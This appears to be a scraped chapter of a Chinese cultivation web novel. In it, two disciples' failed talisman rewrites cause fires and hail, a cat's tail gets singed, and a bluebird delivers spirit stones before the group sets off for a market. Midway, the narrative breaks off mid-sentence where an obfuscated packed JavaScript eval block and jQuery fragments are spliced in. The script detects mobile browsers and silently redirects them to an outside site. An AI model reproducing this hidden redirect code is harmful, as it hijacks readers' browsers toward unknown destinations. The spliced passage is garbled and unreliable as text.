符箓改写,并非容易事。退一万步来讲,以他们目前的修为,老老实实手画高阶符都不一定能够百分百成功,更别说挑战改写。
好在楚澄和玲珑心态好,并不强求成功,也早早做好了打持久战的准备。每天雷打不动地抽出那么半个时辰的功夫尝试修改符纹。
就是这区区半个时辰,精彩到什么程度呢?
就这么说吧,詹初雨这种平日里恨不得把自己焊死在剑坪上,两耳不闻窗外事的修炼牛马,如今都能硬生生摁住自己想逃的本能,每日准时准点地出现在小院角落,抱着她视若性命的玄剑,鼓励自己看完表演再钻地缝。
社恐尚且如此,更别说自封救援队队长,强行持有内场贵宾票的江景辞。
也不怪他们缺乏同窗爱,实在是符箓的构成千变万化,你永远预料不到符文会在哪个节点崩溃,更无法想象崩溃之后带来的节目效果是精彩还是平庸。
于是乎,这三人不约而同地选择天天守着,一场都不落下!
大部分时候,失败的符箓只会会自燃,窜出一个巴掌大的火苗,烧个两三秒就化作灰烬。
等老祖宗心情好的时候,符箓形态就多了,什么冬天里的第一场落叶,雪地里的第一场暴雨不胜类举,更胜者幻化成满天飞蝶,合着鹅毛大雪,比嬛嬛倚梅园复宠的场景还梦幻。
把这些没什么见识的古代人唬得一愣一愣,比看马戏还带劲。
至于老祖宗心情不好的时候——
只瞧瞧小白被燎掉的半边毛就知道了节目效果有多爆炸。
那日情况一切向好,顺利到所有人都不自觉地怀有某种莫名的期待时,小小的符纸突然恶作剧一般窜起一人高的火舌,楚澄慌乱之中只来得及扑开玲珑。
她俩倒是安然无恙,可怜了窝在楚澄肩上睡觉的小白,一桶凉水劈头浇下来,睁开眼睛,还没来得及发怒,第一眼看到的就是自己不剩几根毛的尾巴。
它怔愣半天,瞧着那毛发焦黑卷曲,斑驳露肉的尾巴不敢置信,过了好久才风一样窜进内室。
这两天饭也不吃了,太阳也不晒了,就连最喜欢的贴贴环节也取消了,环着毁容的尾巴缩在屋里自闭。
楚澄好哄歹哄才让小猫愿意出门,但是一听到外人的动静,立刻溜得无影无踪,坚决不在人前露面。
实在是一只形象管理非常到位的小猫咪。
但不得不说,年关将至,老祖宗们的心情怎么一天比一天复杂,让人琢磨不透。
今日还没画几笔呢,符纸就有了动静,根本没给他们反应时间,石子大的冰雹就噼里啪啦地砸了一地。
园里的人立刻东逃西窜,可偏偏这符箓精力好得不得了,追着人到处跑。
好在起火那天毕方就有先见之明,准备了好几套防护服,这一院子,甭管是看戏的,还是努力的,人手一件,保护得严严实实。
不然这满天的冰雹砸下来,不受伤也要起几个大包。
“师妹,你们这失败的速度越来越快,是不是该去祖师爷那上柱香,求他帮你们说句好话,照这样下去,下次就该下匕首了,到时候别说你们了,我们这些旁观者都讨不到好。”江景辞四处逃窜都没忘记回头嚷嚷。
“怕就别来。”楚澄动作最敏捷,拉着还有点懵的玲珑,险之又险的躲过偷袭的冰雹。
“那不行,不来哪有热闹看。”说归说,闹归闹,别拿马戏开玩笑,让江景辞不来那是万万不可能的。
“这么多冰雹还堵不住你的嘴,再不专心,当心砸你个狗血淋头!”玲珑被气得牙痒,险些准备拼着被冰雹砸死的后果去找江景辞上演全武行。
几人正分头逃窜,突然听到上空传来一声尖锐的啼叫。
再一抬头,只见灰蒙蒙的天空中,一只拳头大小,全身青绿的小鸟扑腾着翅膀往下掉。
“妈诶,毕方快接住!”江景辞一扭头看到这抹艳丽的青绿色,人都傻了,声音堪比虎啸。
毕方也真是听话,甭管看没看清掉下来的是个啥玩意儿,江景辞开口,他就旋风般卷了出去,稳稳抱住小鸟。
“嗯……”连连砸下的冰雹,打得他面目扭曲,龇牙咧嘴。
好在老祖宗气也消得差不多,砸中了人,便心满意足地告辞,冰雹瞬间消失。
“妈诶,妈诶,毕方你先忍忍,我马上过来。”江景辞看都不看毕方,直奔他怀里的小鸟,一分钟都没耽搁地把小东西救出来检查,“这小祖宗可伤不起!”
虽然很不想打扰詹初雨,但玲珑瞅了瞅,这园里除了詹初雨也没人再能回答她的问题,忍了又忍还是没忍住心里猫抓般的好奇,悄悄凑上去耳语,“这鸟有什么玄机?”
“这是青鸟。”
或许这就是和八卦王说话的好处,都不用你多费口舌,短短四个字,她能自己补全前因后果就算了,还能转头给楚澄科普。
“听说这青鸟是御灵宗培育出来的灵宠,存世不过双十之数,全赖宗主和御灵宗的蘅兰长老是过命的交情,这才有幸分得两只。”
楚澄听明白了,这就是修仙界的大熊猫,稀少珍贵,还承担着一定的外交任务,怪不得江景辞表现得那么夸张,只是……
“既然这么金贵,怎么没划个专门的兽园好好照料,这么冷的天还让它到处乱飞?”
不得不说真不愧是灵宠,楚澄话音刚落,江景辞手里蔫蔫的小家伙就不满地叫了几声,只是受了伤,虽然听得出它很生气,但到底有气无力,没什么威胁。
“青鸟闲不住,平素就爱送信,这几日风雪大,大家都不爱出门,书信来往就全得靠它的。”
江景辞心疼的看着小鸟翅膀上被冰雹擦出来的红痕:“你这是给谁送信呢,怎么就恰好撞上来了……”
楚澄仿佛被这话提醒到什么,刚准备开口就见小鸟嫩黄的鸟喙一张一合,出来的居然不是鸟叫,而是一道清晰的女声:“师妹,近日不得空,只能托青鸟代为转交灵石,那日所托之事劳你费心,感激不尽。”
“这声音有点耳熟?”玲珑皱着眉头思考。
楚澄记忆彻底复苏,“是白玲师姐,”她一边解释一边凑到江景辞身边,上下打量了好几圈,也没看明白这还没自己巴掌大的鸟,能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097790|176027||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把白玲话里的灵石藏在哪里。
难不成是丢件了?
那这青鸟快递可没有顺丰安全。
也不知是不是听到了楚澄的腹诽,小鸟翅膀一扇就从江景辞手上飞起来,绕着院子盘飞一圈,随着它的动作,众人面前竟凭空出现个比它略小一点的墨色锦囊。
也不知她是怎么判定的,就这么在满院子里人里精确认出了楚澄,墨色的锦囊不偏不倚,直直丢在楚澄怀里。
楚澄第一次体会到修仙界的空投服务,还在新奇呢,小家伙已经片刻不停地飞走了,在空中擦出道漂亮的光影。
“这是灵石?白玲师姐给你灵石干什么?!”玲珑三两步凑过来,水润润的眼里是大写的好奇。
“是,白玲师姐说长生市集这几日会出些品相不错的筑基丹,但他们负责的那块灵田受了冻,这几日离不开人,托我帮忙去瞧瞧。”
没打开的时候还没发现,一扯开锦囊封口,鼓鼓囊囊的一小包,灵石塞得几乎冒了尖。
“嘿,还真不少,这是准备一个小队人手一瓶吧。”江景辞好奇这边的热闹,给毕方敷药的手一偏,药汁子差点揉进他眼里,惹来毕方瓮声瓮气地叫唤。
“别动!”江景辞一点都不心虚地啧了一声。
毕方人也确实老实,都不用骗,声音稍微重一点他就消停了,非但没怪江景辞不专心,还以为是自己判断失误。
“那走呀,这可不是等闲的小东西,去晚了,抢不到多耽误她们的修行。”玲珑说得义正言辞,偏偏眼里的雀跃没藏好,谁都瞧得出来她这是醉翁之意不在酒。
“詹师姐,你也去,”詹初雨刚准备摇头,玲珑直击痛点:“这可是年关的长生集市,要是淘到失传剑谱……”
摇头暂停,抱着剑鞘的手指无意识的收紧。
玲珑趁胜追击:“你放心,我和阿澄夹着你,定不让陌生人接触你。”
詹初雨瞧瞧楚澄。
楚澄耸肩,“想去就一起去瞧瞧,不想去就算了。我帮你留意剑谱也是一样的。”
她这话说得随意,姿态休闲,反倒让詹初雨没那么紧张,迟疑地点头。
“唉唉唉,你们就走了?不准备带我们?”一直到他们出门都没等到被邀请的江景辞有点不满。
“你不是在替毕方师兄看伤?”
江景辞推着毕方自证:“他健壮得跟头牛似的,瘀血揉散了就成,你瞅瞅,活蹦乱跳地干啥都不耽误。”
面对玲珑挑剔的目光,他想了想又补充:“集市人多眼杂,光你们几个小姑娘多危险,我们去了还能帮忙拿拿东西砍砍价呢!”
“师兄别捏我,”毕方委屈龇牙,把这点面子上的淡定暴露得明明白白。
“噗嗤——”别说玲珑,楚澄都忍不住勾了勾唇角。
“唉,怎么还是走了,”江景辞看着三个姑娘毫不留恋的背影,冲小师弟恨铁不成钢的开口:“都怪你,态度不够积极。”
毕方揉着脑袋,刚准备辩解,就听到不远处女声清悦,救了他一命。
“还不跟上,当心买不到好东西!”